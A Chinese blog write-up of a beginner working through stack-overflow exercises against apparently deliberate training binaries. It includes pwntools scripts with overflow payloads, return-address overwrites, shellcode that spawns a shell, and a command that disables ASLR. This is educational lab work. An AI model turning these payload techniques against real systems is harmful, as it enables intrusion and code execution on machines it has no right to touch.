[pwn] Linux棧溢出入門

做題入門=。=
菜呀,學習

level-0

aris教我checksec一下看是啥文件


-w592

32位的打開32位的ida
主程序


-w657

ebp是棧底指針 esp是棧頂指針
好奇為啥棧底指針在最高的地方

  • aris說是為了最大化利用空間(懵逼)
    學習一下棧的知識

只要覆蓋0x44個字節(jié)把 v5覆蓋了就行

# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

payload = "A" * 0x44
cn.sendline(payload)

cn.readline()

gdb 調試一下


image

可以看到已經被覆蓋了

level-1

-w551

checksec 一下 發(fā)現(xiàn)是32位的

打開ida


-w674

只要把v5的值覆蓋成1633837924就行了
轉成16進制


-w407

0x61626364
用pwntools的時候會跳不出argc

aris說就跟sys.argv 一樣需要給參數(shù)
看來只能手輸入了


-w735

這里剛剛好覆蓋到
換成61626364就好了
-w732

因為是小端的所以是反的
-w711

ok

level2

-w644

還是32位的一個
用ida打開
-w601

直接運行會這樣
-w610

有一個getenv函數(shù)
是從系統(tǒng)環(huán)境中獲得變量,問了一下aris
export這個命令就行

ch1p告訴我在ida里面可以用h將值變成16進制
-w210

只要把v5的值覆蓋成0d0a0d0a之后就好了
小端所以是0a0d0a0d

import os

os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')

運行一下成功了


-w389

level3

放到ida看一下

-w625

主函數(shù)
-w428

還有一個win函數(shù)
應該是把v5的值改成win的入口地址
-w531

看到win的入口地址是0x08048424
把v5的值改成這個就行
需要0x40個A+0x08048424

aris教我可以用hex來查看堆棧信息
使用回車可以看后面棧的內容

可以發(fā)現(xiàn)我已經將v5的值改掉了


-w829
-w343

成功
腳本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level3')

payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

level4

打開ida

-w580

發(fā)現(xiàn)main函數(shù)只有這么點
還有一個win函數(shù)
-w463

還是要跳到這個函數(shù)
找到win函數(shù)的入口地址
看了一下s離ebp是0x40個字節(jié)
所以payload是'A'*0x40+'bbbb'+p32(0x08048424)
b是用來覆蓋ebp 接下來就是返回地址
在測試的時候發(fā)現(xiàn)不行用gdb調試一下
-w730

發(fā)現(xiàn)并沒有跳到我給的地址打印一下??匆幌?br>
-w734

發(fā)現(xiàn)我的已經寫上去了,但是地址還在后面8位
所以更改payload
A*0x48+'bbbb'+p32(0x08048424)

成功!


-w607

腳本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level4')

payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

解答

為啥往后移了8位靜態(tài)分析的時候沒啥問題
問了下aris


-w540

-w528

經過了與之后就比之前小了8就往后移了8位
23333
gdb是好東西

level5

打開ida


-w550

除了這個函數(shù)別的都沒了
可以試著寫shellcode了


image

看一下pwntools自帶的shellcode只有44長度
那個字符串s的長度有48所以寫進去應該沒啥問題

不過首先得把ASLR的保護給關了不然寫不到那個地址上
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

用gdb調試一下

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)
-w774

可以看到他已經被覆蓋成功了,下一步就是shellcode


-w732

命令執(zhí)行成功

level6

打開ida

-w596

main函數(shù)
看一下getpath函數(shù)
-w473

應該是從這里入手
發(fā)現(xiàn)不能像level5一樣直接覆蓋return的地址了
他做了限定前2位不能是ff
經過一天的學習=。=
通過空函數(shù)然后在return回來執(zhí)行下一句return到shellcode就好了
-w788

找一個空函數(shù) 方便跳回來繼續(xù)執(zhí)行
就是你了0x0804850b
-w661

gdb調試一下
-w556

成功進去了
-w591

return到了我們的shellcode的位置
-w462

成功~
-w853

腳本:

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)

cn.interactive()

level7

還是和level6一樣
只是getpath函數(shù)變了

-w421

就是多了一個strdup函數(shù)
上網查了一下他是從堆里面分配空間
感覺沒啥用
跟上一題一樣的思路找一下空函數(shù)
-w837

0x0804855b
然后寫一下payload
-w731

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)

cn.interactive()

番外

當然有更屌的解法


-w867

(等我學成歸來)在學習一下

參考資料

https://blog.csdn.net/sinat_31054897/article/details/82223889

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

  • 0. 引言 如果你學的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 14,405評論 13 27
  • ?好久沒看過pwn題目了,寫一個入門的教程順便復習了: 1. 安裝gdb-peda git clone https...
    Nevv閱讀 9,188評論 0 4
  • 轉自:安全課傳送門 引言 經過很長一段時間在azeria-labs進行的ARM基礎匯編學習,學到了很多ARM匯編的...
    勤學奮進小郎君閱讀 2,631評論 0 2
  • 青春入殮 被翻爛的詩篇 陪葬了從前 年華鮮艷 被遺忘的瞬間 揮霍了夏天 記憶滿滿 讓疼痛的愛情 扎滿了房間 我卻只...
    Southwooooood閱讀 562評論 1 3
  • 今天下午天公作美,陽光明媚,所以就出去走了走,拍了拍照片。 一條青石板鋪就的小路 一條哺育子民的母親河 一只搖曳在...
    Shininggirl閱讀 283評論 0 0

友情鏈接更多精彩內容